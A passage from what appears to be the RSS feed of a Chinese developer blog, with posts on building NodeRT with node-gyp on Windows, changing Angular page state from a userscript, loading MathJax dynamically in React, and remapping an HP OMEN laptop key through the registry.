href="#配置-node-gyp"></a></h2><p>因为之前装 <code>node-sass</code> 的时候接触过 <code>node-gyp</code>，所以现在第一件事就是要确保 <code>node-gyp</code> 能使用。</p><p>查看 <code>node-gyp</code> 的仓库 README，发现有教程： <a href="https://github.com/nodejs/node-gyp#on-windows">Installation On Windows</a></p><p>强烈建议去看原教程后再看本教程。<br>强烈建议去看原教程后再看本教程。<br>强烈建议去看原教程后再看本教程。</p><p>首先需要安装 Python，如果你本地没有，最简单的方法就是从微软商店直接安装，直接打开 Microsoft Store，搜索安装即可。<br><a href="https://docs.python.org/3/using/windows.html#the-microsoft-store-package">Python Microsoft Store package</a></p><p><code>node-gyp</code> 支持以下这几个 Python 版本：v2.7, v3.5, v3.6, v3.7, v3.8。</p><h3 id="方案-1（个人不推荐，可能会出现自己不可控制的局面）">方案 1（个人不推荐，可能会出现自己不可控制的局面）<a class="header-anchor" href="#方案-1（个人不推荐，可能会出现自己不可控制的局面）"></a></h3><p>使用 <a href="https://github.com/felixrieseberg/windows-build-tools">windows-build-tools</a> 来自动配置 MsBuild 和 Python 环境。</p><p>打开一个有管理员权限的 CMD 或者 PowerShell 终端，执行：<code>npm install --global --production windows-build-tools</code>，等待完成即可。</p><h3 id="方案-2">方案 2<a class="header-anchor" href="#方案-2"></a></h3><p>手动安装:</p><ol><li>安装 Visual C++ Build 环境: <a href="https://visualstudio.microsoft.com/thank-you-downloading-visual-studio/?sku=BuildTools">Visual Studio Build Tools</a> (安装组件时勾选 “Visual C++ build tools”) 或者 <a href="https://visualstudio.microsoft.com/pl/thank-you-downloading-visual-studio/?sku=Community">Visual Studio 2017 Community</a> (安装组件时勾选 “Desktop development with C++”)</li><li>打开 cmd, 执行：<code>npm config set msvs_version 2017</code></li></ol><p>如果你的程序还需要运行在其他的处理器平台上，记得安装组件的时候也要勾上对应的。比如 ARM64 平台的，要选择：“Visual C++ compilers and libraries for ARM64” 和 “Visual C++ ATL for ARM64” 两个组件。</p><p>如何确定自己的 <code>node-gyp</code> 环境安装好了呢？以下包随便安装一个就行了，安装成功则说明 node-gyp 环境已经好了：</p><ul><li>bson</li><li>bufferutil</li><li>kerberos</li><li>node-sass</li><li>sqlite3</li><li>phantomjs</li></ul><h2 id="解决找不到-Windows-winmd-文件">解决找不到 <code>Windows.winmd</code> 文件<a class="header-anchor" href="#解决找不到-Windows-winmd-文件"></a></h2><p>其实这个问题就是代码的问题，根据<a href="https://github.com/NodeRT/NodeRT/issues/65#issuecomment-303938757">这个 issue 中的描述</a>，当前版本的 NodeRT 只会去扫描 <code>C:\Program Files (x86)\Windows Kits\10\UnionMetadata</code> 路径下的 <code>.winmd</code> 文件，硬编码了依赖库目录（不过也说得通）。</p><p>所以解决方案就是，把你的 <code>Windows.winmd</code> 文件放到这个文件夹下就行了，默认安装的 Windows 10 SDK 应该都在这个文件夹下的一个个子文件夹，直接把对应版本的 Windows.winmd 挪出来就行。</p><p>比如说我就把 <code>C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.19041.0\Windows.winmd</code> 这个文件往上移动了一级，也就是移动到了 <code>..</code> 文件夹。现在再去安装，就已经可以了。</p><hr><p>从此以后，遇到打包 Native 的场景，我再也不怕了！</p><p><img data-src="https://i.cat.ms/posts/windows-install-nodert/succ.png" alt="安装成功"></p><hr><p>2020/08/24 后记</p><p><code>electron-windows-notifications</code> 确实 8 太行啊，简单的 toast 写上去倒是可以弹通知，加了 <code>actions</code> 之后就展示不出来通知了。</p><p>而且这个库也很久没更新了，依赖的 <code>NodeRT</code> 的版本都很久远了，所以现在使用 <code>node-notifier</code>，这个包在 Windows 下会使用一个编译好的程序：<code>SnoreToast</code>，通过调用这个 Native 程序来显示通知。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>在 Angular 网页中使用 UserScript</title>
      <link>https://cat.ms/posts/using-userscript-in-angular-page/</link>
      <description>
        <![CDATA[<p>作为一个前端开发者（，偶尔会写点用户脚本<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup> 增强自己的浏览体验。</p>
<p>对于传统服务端渲染的页面可以直接在页面上执行脚本达到自己的目的，但是对于现在的数据流驱动的前端开发框架来说，原来的那种做法行不通了，需要找到一个方式参与到页面的渲染中。</p>
<p>so how to hack(actually: modify) an angular page?</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Web/">Web</category>
      <category domain="https://cat.ms/tags/Web/">Web</category>
      <category domain="https://cat.ms/tags/UserScript/">UserScript</category>
      <category domain="https://cat.ms/tags/Angular/">Angular</category>
      <pubDate>Wed, 15 Apr 2020 01:49:01 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>作为一个前端开发者（，偶尔会写点用户脚本<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup> 增强自己的浏览体验。</p><p>对于传统服务端渲染的页面可以直接在页面上执行脚本达到自己的目的，但是对于现在的数据流驱动的前端开发框架来说，原来的那种做法行不通了，需要找到一个方式参与到页面的渲染中。</p><p>so how to hack(actually: modify) an angular page?</p><span id="more"></span><p>先说好啊，我是写 React 的，有什么出错的地方请多指正。</p><h2 id="获取-Angular-实例">获取 Angular 实例<a class="header-anchor" href="#获取-Angular-实例"></a></h2><p>Google 许久，发现了下面这个 <a href="https://gist.github.com/mgol/7893061">gist</a>, 可以直接拿到 Angular 的实例。</p><script src="https://gist.github.com/mgol/7893061.js"></script><p>解释一下代码：因为 angular 会把自己注入到 <code>window.angular</code>，所以可以调用 <code>angular.element</code> 方法生成 Angular 对象。</p><p>按照 gist 里的提示执行代码片段。</p><p>能拿到 Angular 的实例就好办了，来调试分析网页的数据流。在 <code>rootScope</code> 上 <code>watch</code> 后，拿到对应的 <code>scope</code> 进行修改。</p><h2 id="分析网页数据流">分析网页数据流<a class="header-anchor" href="#分析网页数据流"></a></h2><p><img data-src="https://i.cat.ms/posts/using-userscript-in-angular-page/btn-list.png" alt="btn-list.png"></p><p>平常我们是无法点击这个用户行为按钮的，因为属性里的 <code>disable</code> 被设置为了 <code>true</code>，选中这个按钮的 DOM，在控制台输入 <code>$scope</code>（你需要按 gist 中的注释现在网页中执行代码片段）查看信息。</p><p><img data-src="https://i.cat.ms/posts/using-userscript-in-angular-page/btn-scope-info.png" alt="btn-scope-info.png"></p><p>尝试修改 <code>$scope.disabled = false</code>，再点击该按钮，可以点击了。</p><p><img data-src="https://i.cat.ms/posts/using-userscript-in-angular-page/btn-can-click.png" alt="btn-can-click.png"></p><p>但是我们切换到另一页再切换回来之后，又无法点击了，究其根本就是我们没影响到最内层的数据流。</p><h2 id="监听页面变化，一直修改数据">监听页面变化，一直修改数据<a class="header-anchor" href="#监听页面变化，一直修改数据"></a></h2><blockquote><p>下面的脚本是当时参考了 StackOverflow 上的一个 Angular watch 有关的问题，但是找不到链接了，所以未能注明来源，非常抱歉。</p></blockquote><p>那如何在用户脚本里拿到 Angular 对象呢？</p><figure class="highlight js"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> retryCount = -<span class="number">1</span>,</span><br><span class="line">  maxRetry = <span class="number">5</span>,</span><br><span class="line">  timeout = <span class="number">1000</span>,</span><br><span class="line">  timer;</span><br><span class="line">(<span class="keyword">function</span> <span class="title function_">initScript</span>(<span class="params"></span>) {</span><br><span class="line">  <span class="variable language_">window</span>.<span class="built_in">clearTimeout</span>(timer);</span><br><span class="line">  <span class="keyword">if</span> (!<span class="variable language_">window</span>.<span class="property">angular</span>) {</span><br><span class="line">    retryCount++;</span><br><span class="line">    <span class="keyword">if</span> (retryCount &lt; maxRetry) {</span><br><span class="line">      timer = <span class="built_in">setTimeout</span>(initScript, timeout);</span><br><span class="line">    }</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">  }</span><br><span class="line">  <span class="built_in">setTimeout</span>(injectScript, <span class="number">1000</span>);</span><br><span class="line">})();</span><br></pre></td></tr></tbody></table></figure><p>阻塞等待 angular 加载成功即可。然后执行 <code>injectScript</code> 执行我们自己的脚本。</p><figure class="highlight js"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">injectScript</span>(<span class="params"></span>) {</span><br><span class="line">  <span class="keyword">var</span> ngAppElem = angular.<span class="title function_">element</span>(</span><br><span class="line">    <span class="variable language_">document</span>.<span class="title function_">querySelector</span>(<span class="string">'[ng-app]'</span>) || <span class="variable language_">document</span></span><br><span class="line">  );</span><br><span class="line">  $rootScope = ngAppElem.<span class="title function_">scope</span>();</span><br><span class="line">  $rootScope.$watch(<span class="keyword">function</span> (<span class="params"></span>) {</span><br><span class="line">    <span class="comment">// do something.</span></span><br><span class="line">  });</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>我们在 <code>rootScope</code> 上执行 <code>watch</code>，这样也不会因为切换页面而丢失 <code>watch</code>。</p><figure class="highlight js"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">injectScript</span>(<span class="params"></span>) {</span><br><span class="line">  <span class="keyword">var</span> ngAppElem = angular.<span class="title function_">element</span>(</span><br><span class="line">    <span class="variable language_">document</span>.<span class="title function_">querySelector</span>(<span class="string">'[ng-app]'</span>) || <span class="variable language_">document</span></span><br><span class="line">  );</span><br><span class="line">  $rootScope = ngAppElem.<span class="title function_">scope</span>();</span><br><span class="line">  $rootScope.$watch(<span class="keyword">function</span> (<span class="params"></span>) {</span><br><span class="line">    <span class="keyword">var</span> elem = angular.<span class="title function_">element</span>(</span><br><span class="line">      <span class="variable language_">document</span>.<span class="title function_">querySelector</span>(</span><br><span class="line">        <span class="string">'#dashboardmainpart &gt; div &gt; div.EventBottomChartsContainer &gt; div.EventDetailContainer &gt; div &gt; ul &gt; li:nth-child(3)'</span></span><br><span class="line">      )</span><br><span class="line">    );</span><br><span class="line">    <span class="keyword">var</span> s1 = elem.<span class="title function_">isolateScope</span>() || elem.<span class="title function_">scope</span>();</span><br><span class="line">    <span class="keyword">if</span> (s1) {</span><br><span class="line">      s1.<span class="property">disabled</span> = <span class="literal">false</span>;</span><br><span class="line">      <span class="keyword">return</span> s1.<span class="property">disabled</span>;</span><br><span class="line">    }</span><br><span class="line">    <span class="keyword">return</span> s1;</span><br><span class="line">  });</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>然后获取我们需要的地方的 scope，直接修改即可。每次页面修改后 <code>watch</code> 函数都会被执行。</p><p>完整 DEMO 可参考：</p><script src="https://gist.github.com/bytemain/10576db26d3addbdcbac2397f4b60f24.js"></script><hr class="footnotes-sep"><section class="footnotes"><ol class="footnotes-list"><li id="fn1" class="footnote-item"><p><a href="https://en.wikipedia.org/wiki/Userscript">https://en.wikipedia.org/wiki/Userscript</a> <a href="#fnref1" class="footnote-backref">↩︎</a></p></li></ol></section>]]>
      </content:encoded>
    </item>
    <item>
      <title>React 项目中动态加载 Mathjax</title>
      <link>https://cat.ms/posts/use-mathjax-in-react/</link>
      <description>
        <![CDATA[<p>做一个 React 项目的时候，想在网页上渲染数学公式，不想用别人封装好的 React 组件，采用动态加载的方式直接渲染 DOM。</p>
<p>Mathjax@3 做了很大的一个更新，使用方式也和 2.x 版本不同。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/React/">React</category>
      <category domain="https://cat.ms/tags/Web/">Web</category>
      <pubDate>Mon, 13 Apr 2020 07:35:24 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>做一个 React 项目的时候，想在网页上渲染数学公式，不想用别人封装好的 React 组件，采用动态加载的方式直接渲染 DOM。</p><p>Mathjax@3 做了很大的一个更新，使用方式也和 2.x 版本不同。</p><span id="more"></span><h2 id="React-动态加载-js">React 动态加载 js<a class="header-anchor" href="#React-动态加载-js"></a></h2><p>首先需要知道的一件事就是如何动态加载 js，用 js 将一个新的 script 节点挂载到 dom 上即可。</p><p>创建一个 dom 元素 <code>script</code>，设置 <code>src</code> 属性为要加载的链接，然后将节点添加到 body 元素内。</p><p>封装成函数如下，只需要传入需要加载的 js 链接，然后使用 <code>.then</code> 方法进行后续操作。</p><figure class="highlight typescript"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">const</span> <span class="title function_">loadJS</span> = (<span class="params"><span class="attr">url</span>: <span class="built_in">string</span></span>) =&gt;</span><br><span class="line">  <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="keyword">function</span> (<span class="params">resolve, reject</span>) {</span><br><span class="line">    <span class="keyword">const</span> script = <span class="variable language_">document</span>.<span class="title function_">createElement</span>(<span class="string">'script'</span>);</span><br><span class="line">    script.<span class="property">type</span> = <span class="string">'text/javascript'</span>;</span><br><span class="line">    script.<span class="property">src</span> = url;</span><br><span class="line">    <span class="variable language_">document</span>.<span class="property">body</span>.<span class="title function_">appendChild</span>(script);</span><br><span class="line">    script.<span class="property">onload</span> = <span class="keyword">function</span> (<span class="params"></span>) {</span><br><span class="line">      <span class="title function_">resolve</span>(<span class="string">`success: <span class="subst">${url}</span>`</span>);</span><br><span class="line">    };</span><br><span class="line">    script.<span class="property">onerror</span> = <span class="keyword">function</span> (<span class="params"></span>) {</span><br><span class="line">      <span class="title function_">reject</span>(<span class="title class_">Error</span>(<span class="string">`<span class="subst">${url}</span> load error!`</span>));</span><br><span class="line">    };</span><br><span class="line">  });</span><br></pre></td></tr></tbody></table></figure><p>在需要使用的地方：</p><figure class="highlight ts"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">loadJS</span>(url)</span><br><span class="line">  .<span class="title function_">then</span>(<span class="function">() =&gt;</span> {</span><br><span class="line">    <span class="comment">// do something</span></span><br><span class="line">  })</span><br><span class="line">  .<span class="title function_">catch</span>(<span class="function">() =&gt;</span> {</span><br><span class="line">    <span class="comment">// do something</span></span><br><span class="line">  });</span><br></pre></td></tr></tbody></table></figure><h2 id="mathjax-2-x-版本">mathjax@2.x 版本<a class="header-anchor" href="#mathjax-2-x-版本"></a></h2><p>先给出参考的官方链接，本文讲的可能不太清楚。</p><ul><li>Loading and Configuring MathJax<a href="https://docs.mathjax.org/en/v2.7-latest/configuration.html">https://docs.mathjax.org/en/v2.7-latest/configuration.html</a></li><li>Loading MathJax Dynamically<a href="https://docs.mathjax.org/en/v2.7-latest/advanced/dynamic.html">https://docs.mathjax.org/en/v2.7-latest/advanced/dynamic.html</a></li><li>Modifying Math on the Page<a href="https://docs.mathjax.org/en/v2.7-latest/advanced/typeset.html">https://docs.mathjax.org/en/v2.7-latest/advanced/typeset.html</a></li></ul><p>加载了 mathjax 之后，我们只要在合适的时机让 mathjax 渲染 dom 即可。</p><p>举个例子：</p><figure class="highlight ts"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">componentDidMount</span>(<span class="params"></span>) {</span><br><span class="line">  <span class="keyword">const</span> mathjaxUrl = <span class="string">'https://cdn.bootcss.com/mathjax/2.7.4/MathJax.js?config=TeX-AMS_CHTML'</span>;</span><br><span class="line">  <span class="title function_">loadJS</span>(mathjaxUrl).<span class="title function_">then</span>(<span class="function">() =&gt;</span> {</span><br><span class="line">    <span class="variable language_">this</span>.<span class="title function_">showMathjax</span>();</span><br><span class="line">  });</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="title function_">componentDidUpdate</span> () {</span><br><span class="line">  <span class="keyword">if</span> (!(<span class="variable language_">window</span> <span class="keyword">as</span> <span class="built_in">any</span>).<span class="property">MathJax</span>) {</span><br><span class="line">    (<span class="variable language_">window</span> <span class="keyword">as</span> <span class="built_in">any</span>).<span class="property">MathJax</span>.<span class="property">Hub</span>.<span class="title class_">Queue</span>([<span class="string">'Typeset'</span>, (<span class="variable language_">window</span> <span class="keyword">as</span> <span class="built_in">any</span>).<span class="property">MathJax</span>.<span class="property">Hub</span>, <span class="title class_">ReactDOM</span>.<span class="title function_">findDOMNode</span>(<span class="variable language_">this</span>)]);</span><br><span class="line">  }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">showMathjax = <span class="function">() =&gt;</span> {</span><br><span class="line">  <span class="keyword">if</span> ((<span class="variable language_">window</span> <span class="keyword">as</span> <span class="built_in">any</span>).<span class="property">MathJax</span>) {</span><br><span class="line">    (<span class="variable language_">window</span> <span class="keyword">as</span> <span class="built_in">any</span>).<span class="property">MathJax</span>.<span class="property">Hub</span>.<span class="title class_">Config</span>({</span><br><span class="line">      <span class="attr">tex2jax</span>: {</span><br><span class="line">        <span class="attr">inlineMath</span>: [[<span class="string">'$'</span>, <span class="string">'$'</span>]],</span><br><span class="line">        <span class="attr">displayMath</span>: [[<span class="string">'$$'</span>, <span class="string">'$$'</span>]],</span><br><span class="line">        <span class="attr">skipTags</span>: [<span class="string">'script'</span>, <span class="string">'noscript'</span>, <span class="string">'style'</span>, <span class="string">'textarea'</span>, <span class="string">'code'</span>, <span class="string">'a'</span>],</span><br><span class="line">      },</span><br><span class="line">      <span class="title class_">CommonHTML</span>: {</span><br><span class="line">        <span class="attr">scale</span>: <span class="number">120</span>,</span><br><span class="line">        <span class="attr">linebreaks</span>: { <span class="attr">automatic</span>: <span class="literal">true</span> },</span><br><span class="line">      },</span><br><span class="line">      <span class="string">'HTML-CSS'</span>: { <span class="attr">linebreaks</span>: { <span class="attr">automatic</span>: <span class="literal">true</span> } },</span><br><span class="line">      <span class="attr">SVG</span>: { <span class="attr">linebreaks</span>: { <span class="attr">automatic</span>: <span class="literal">true</span> } },</span><br><span class="line">      <span class="title class_">TeX</span>: { <span class="attr">noErrors</span>: { <span class="attr">disabled</span>: <span class="literal">true</span> } },</span><br><span class="line">    });</span><br><span class="line">  } <span class="keyword">else</span> {</span><br><span class="line">    <span class="built_in">setTimeout</span>(<span class="variable language_">this</span>.<span class="property">showMathjax</span>, <span class="number">1000</span>);</span><br><span class="line">  }</span><br><span class="line">};</span><br></pre></td></tr></tbody></table></figure><p>2.x 的版本，我们要使用 <code>Mathjax.Hub.Config</code> 来配置，这几个配置看起来也很好懂，<code>tex2jax</code> 中设置了在什么字符包裹的时候渲染数学公式。</p><p>设置了行内公式用 <code>$...$</code> 包裹，多行公式用 <code>$$...$$</code> 来包裹，对于什么什么标签内的则不渲染。<br>然后就是设置好几种模式下渲染的表现怎么样，上面我们加载的 js 时候后面有一个 query <code>?config=TeX-AMS_CHTML</code>，说明我们加载的是 CHTML 的配置，各种配置显示效果不同。参见 <a href="https://docs.mathjax.org/en/v2.7-latest/config-files.html">https://docs.mathjax.org/en/v2.7-latest/config-files.html</a></p><p><code>Mathjax</code> 加载好之后就会渲染页面，但是对于单页面应用来说， <code>Mathjax</code> 并不会在页面 DOM 更新的时候重新渲染，我们需要使用 <code>MathJax.Hub.Queue(['Typeset', MathJax.Hub, ReactDOM.findDOMNode(this)]);</code> 来让 <code>Mathjax</code> 手动渲染 DOM。添加在 <code>componentDidUpdate</code> 中即可。</p><h2 id="mathjax-3-版本">mathjax@3 版本<a class="header-anchor" href="#mathjax-3-版本"></a></h2><p>同样给出官方文档链接：</p><ul><li>Configuring MathJax<a href="http://docs.mathjax.org/en/v3.0-latest/options/index.html">http://docs.mathjax.org/en/v3.0-latest/options/index.html</a></li><li>MathJax in Dynamic Content<a href="http://docs.mathjax.org/en/v3.0-latest/advanced/typeset.html">http://docs.mathjax.org/en/v3.0-latest/advanced/typeset.html</a></li></ul><p>3 的版本 <code>Mathjax</code> 的加载，配置方式都有不同。</p><blockquote><p>Upgrading from v2 to v3: <a href="http://docs.mathjax.org/en/latest/upgrading/v2.html">http://docs.mathjax.org/en/latest/upgrading/v2.html</a></p></blockquote><p>加载时可以直接加载不同配置的 js，不需要再使用 <code>?config=xxx</code> 了，比如说加载 <code>https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js</code>。</p><p><code>Mathjax.Hub</code> 方法被移除，现在设置配置只需要给 <code>window.Mathjax</code> 赋值一个配置对象即可。</p><blockquote><p>官方还提供一个一键转换配置的链接： <a href="https://mathjax.github.io/MathJax-demos-web/convert-configuration/convert-configuration.html">MathJax Configuration Converter</a></p></blockquote><p>还是给出我的配置：</p><figure class="highlight ts"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">(<span class="variable language_">window</span> <span class="keyword">as</span> <span class="built_in">any</span>).<span class="property">MathJax</span> = {</span><br><span class="line">  <span class="attr">tex</span>: {</span><br><span class="line">    <span class="attr">inlineMath</span>: [[<span class="string">'$'</span>, <span class="string">'$'</span>]],</span><br><span class="line">    <span class="attr">displayMath</span>: [[<span class="string">'$$'</span>, <span class="string">'$$'</span>]],</span><br><span class="line">  },</span><br><span class="line">  <span class="attr">options</span>: {</span><br><span class="line">    <span class="attr">skipHtmlTags</span>: [<span class="string">'script'</span>, <span class="string">'noscript'</span>, <span class="string">'style'</span>, <span class="string">'textarea'</span>, <span class="string">'code'</span>, <span class="string">'a'</span>],</span><br><span class="line">  },</span><br><span class="line">  <span class="attr">chtml</span>: {</span><br><span class="line">    <span class="attr">scale</span>: <span class="number">1.2</span>,</span><br><span class="line">  },</span><br><span class="line">  <span class="attr">startup</span>: {</span><br><span class="line">    <span class="attr">ready</span>: <span class="function">() =&gt;</span> {</span><br><span class="line">      (<span class="variable language_">window</span> <span class="keyword">as</span> <span class="built_in">any</span>).<span class="property">MathJax</span>.<span class="property">startup</span>.<span class="title function_">defaultReady</span>();</span><br><span class="line">      (<span class="variable language_">window</span> <span class="keyword">as</span> <span class="built_in">any</span>).<span class="property">MathJax</span>.<span class="property">startup</span>.<span class="property">promise</span>.<span class="title function_">then</span>(<span class="function">() =&gt;</span> {</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">'MathJax initial typesetting complete'</span>);</span><br><span class="line">      });</span><br><span class="line">    },</span><br><span class="line">  },</span><br><span class="line">};</span><br></pre></td></tr></tbody></table></figure><p><code>Mathjax</code> 脚本加载好之后会读取 <code>window.Mathjax</code> 为配置并且替换为 <code>Mathjax</code> 对象，然后你就可以调用相关函数了。</p><p><code>Mathjax</code> 初始化时会调用配置中的 <code>startup.ready</code> 方法，你可以在里面做一下提示或者其他配置。</p><p>还是那个问题，<code>Mathjax</code> 在 DOM 更新时不会重新渲染，需要使用 <code>MathJax.typesetPromise()</code> 方法。也在 <code>componentDidUpdate</code> 中设置即可。</p><figure class="highlight ts"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">componentDidUpdate</span>(<span class="params"></span>) {</span><br><span class="line">  <span class="keyword">const</span> <span class="title class_">MathJax</span> = (<span class="variable language_">window</span> <span class="keyword">as</span> <span class="built_in">any</span>).<span class="property">MathJax</span>;</span><br><span class="line">  <span class="keyword">if</span> (<span class="title class_">MathJax</span>) {</span><br><span class="line">    <span class="title class_">MathJax</span>.<span class="property">typesetPromise</span> &amp;&amp; <span class="title class_">MathJax</span>.<span class="title function_">typesetPromise</span>();</span><br><span class="line">  }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>这个方法是异步方法，还有一个相同功能的同步方法： <code>MathJax.typeset()</code>。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>暗影精灵修改 OMEN 键</title>
      <link>https://cat.ms/posts/mod-omencommandcenter-key/</link>
      <description>
        <![CDATA[<p>暗影精灵的键盘上有一个自带的 OEM 键，按了之后可以打开 OMEN Command Center, 一个可以对笔记本的性能，网络管理的工具。</p>
<p>但是我对这个控制中心需求很小，所以我直接把软件卸载了 (●´ω ｀ ●)。</p>
<p>所以，怎么去利用这个键呢？</p>
<p>注意：该键是没有 keycode 的，也就是不被作为键盘的输入键。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Windows/">Windows</category>
      <category domain="https://cat.ms/tags/tricks/">tricks</category>
      <pubDate>Wed, 26 Feb 2020 16:00:57 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>暗影精灵的键盘上有一个自带的 OEM 键，按了之后可以打开 OMEN Command Center, 一个可以对笔记本的性能，网络管理的工具。</p><p>但是我对这个控制中心需求很小，所以我直接把软件卸载了 (●´ω ｀ ●)。</p><p>所以，怎么去利用这个键呢？</p><p>注意：该键是没有 keycode 的，也就是不被作为键盘的输入键。</p><span id="more"></span><h2 id="如果你按这个键没有效果">如果你按这个键没有效果<a class="header-anchor" href="#如果你按这个键没有效果"></a></h2><p>参考惠普官方文档：<a href="https://support.hp.com/cn-zh/document/c01198500">https://support.hp.com/cn-zh/document/c01198500</a></p><p>对于我的暗影精灵 3，装一个惠普的 SystemEvent 即可：</p><ul><li><a href="https://www.microsoft.com/store/productId/9P4W8RFN9M2T">https://www.microsoft.com/store/productId/9P4W8RFN9M2T</a></li></ul><h2 id="20200607-更新">20200607 更新<a class="header-anchor" href="#20200607-更新"></a></h2><p>SystemEvent 更新了，反编译后发现按这个键目前会直接启动：<code>AD2F1837.OMENCommandCenter</code> 这个软件， 过段时间再看看怎么弄。</p><p><strong>以下内容已经失效。</strong></p><hr><h2 id="修改注册表">修改注册表<a class="header-anchor" href="#修改注册表"></a></h2><p><img data-src="https://i.cat.ms/posts/mod-omencommandcenter-key/omencommandcenter.png" alt="omencommandcenter"></p><p>按下 OMEN 键时，系统会弹出来这个框，这说明系统想打开注册了这个链接的应用。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HKEY_CURRENT_USER\SOFTWARE\Classes\omencommandcenter</span><br></pre></td></tr></tbody></table></figure><p>关于 windows 应用注册链接详见：<a href="https://blog.walterlv.com/post/windows-uri-scheme-association.html">https://blog.walterlv.com/post/windows-uri-scheme-association.html</a></p><p>解决方法就是修改注册表：<img data-src="https://i.cat.ms/posts/mod-omencommandcenter-key/modify-registry.png" alt="修改注册表"></p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HKEY_CURRENT_USER\SOFTWARE\Classes\omencommandcenter\Shell\Open\Command</span><br></pre></td></tr></tbody></table></figure><p>在 omencommandcenter 下依次添加 <code>Shell</code>、 <code>Open</code>、 <code>Command</code>，大小写不敏感，然后修改 <code>Command</code> 的 <code>(Default)</code> 值为想打开的应用程序。</p><p>这里的 <code>Open</code> 的意思就是你在资源管理器中双击一个类型的文件就打开某个软件那样。</p><p>比如说像我就设置成了 <code>wt.exe</code>，就是打开 Windows Terminal。</p><h2 id="一些-Tips">一些 Tips<a class="header-anchor" href="#一些-Tips"></a></h2><p>windows 还提供了 执行 vbs 的工具：</p><figure class="highlight bat"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mshta vbscript:clipboarddata.setdata(\"text\",\"%<span class="number">1</span>\")(close)</span><br></pre></td></tr></tbody></table></figure><p>参考： <a 